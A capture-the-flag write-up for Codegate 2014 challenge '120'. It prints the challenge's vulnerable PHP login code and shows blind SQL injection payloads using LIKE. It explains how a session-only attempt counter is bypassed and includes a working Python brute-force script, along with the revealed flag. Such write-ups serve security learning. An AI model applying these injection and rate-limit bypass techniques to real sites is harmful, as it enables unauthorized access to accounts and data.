codegate 2014 Write-up: 120

February 28, 2014

The website for this challenge said “120 times left” and had only a password field and a submit button. Trying something random we get False als response, go back to the main page and see we now have “118 times left”, so each POST or GET to the page decreases the number by one.

The description also contained a link to the sourcecode of the index.php. First thing we notice is that we can easily do a SQL injection:

if (eregi("replace|load|information|union|select|from|where|limit|offset|".
"order|by|ip|\.|#|-|/|\*",$_POST['password'])){
   @mysql_close($link);
   exit("Wrong access");
}

$query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and
(password='$_POST[password]')";
$q = @mysql_query($query);
$res = @mysql_fetch_array($q);

if($res['ip']==$_SERVER['REMOTE_ADDR']){
   @mysql_close($link);
   exit("True");
}

else{
   @mysql_close($link);
   exit("False");
}

Using a single qoute to escape the string, e.g. submitting ‘ or ”=’ will return True.  A lot of useful keywords are filtered and we only have a boolean output, so we have to guess the password char by char with the like operator: ‘ or password like ‘e%’ or 1=’

We can also see that if we used all our 120 attempts, a new password will be generated. The function RandomString() randomly selects 30 lowercase characters from the file smash.txt (an article from the magazine Phrack). So just guessing it seems quite unlikely, as we would have an average of only 4 guesses per character.

Still we did a quick frequency analysis of the article to improve our odds by trying the most common letters first. However as expected even with a bit of luck (lots of e’s and t’s) we only get like 15-20 characters at most. Looking back at the challenge description, the hover text states “You dont have enough arrows…”. So there must be a way to obtain more than 120 attempts!

This means back to the part with the session:

 if ($_SESSION['cnt'] > $max_times){
 unset($_SESSION['cnt']);
}

if ( !isset($_SESSION['cnt'])){
   $_SESSION['cnt']=0;
   $_SESSION['password']=RandomString();

   $query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
   @mysql_query($query);

   $query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]',
'$_SESSION[password]')";
   @mysql_query($query);
}

$left_count = $max_times-$_SESSION['cnt'];
$_SESSION['cnt']++;

Looking closer we can see a fatal flaw in the approach used here: The IP and password are saved in the database, but the count (how many tries are left) is only tied to the PHP Session ID. So if we first request a lot of sessions and then start bruteforcing we can switch between sessions and start at “120 times left” again – with the same password still in the database! So basically we now have an arbitrary number of attempts 🙂

The last step was to go to auth.php and submit the current password to get the flag:
Congrats! the key is DontHeartMeBaby*$#@!

Our final code:

import requests

pw = ""
sessions = []
link = "http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/"
chars = "etsoainrlcdxhfmpbuwgyvkjzq"

for i in range(10):
  s = requests.session()
  s.get(link)
  sessions.append(s)

for i in range(len(sessions)):
  count = 0
  s = sessions[i]

  while count < 120 - 26:

    for j in range(26):

      count += 1

      c = chars[j:j+1]
      query = "' or password like '" + pw + c + "%' or 1='"
      page = s.post(link, {'password': query})

      if page.text == "True":
        pw += c
        print pw
        break

    if len(pw) == 30:
      page = s.post(link + "auth.php", {'password': pw})
      print page.text
      exit()

Leave a Reply




Get Adobe Flash player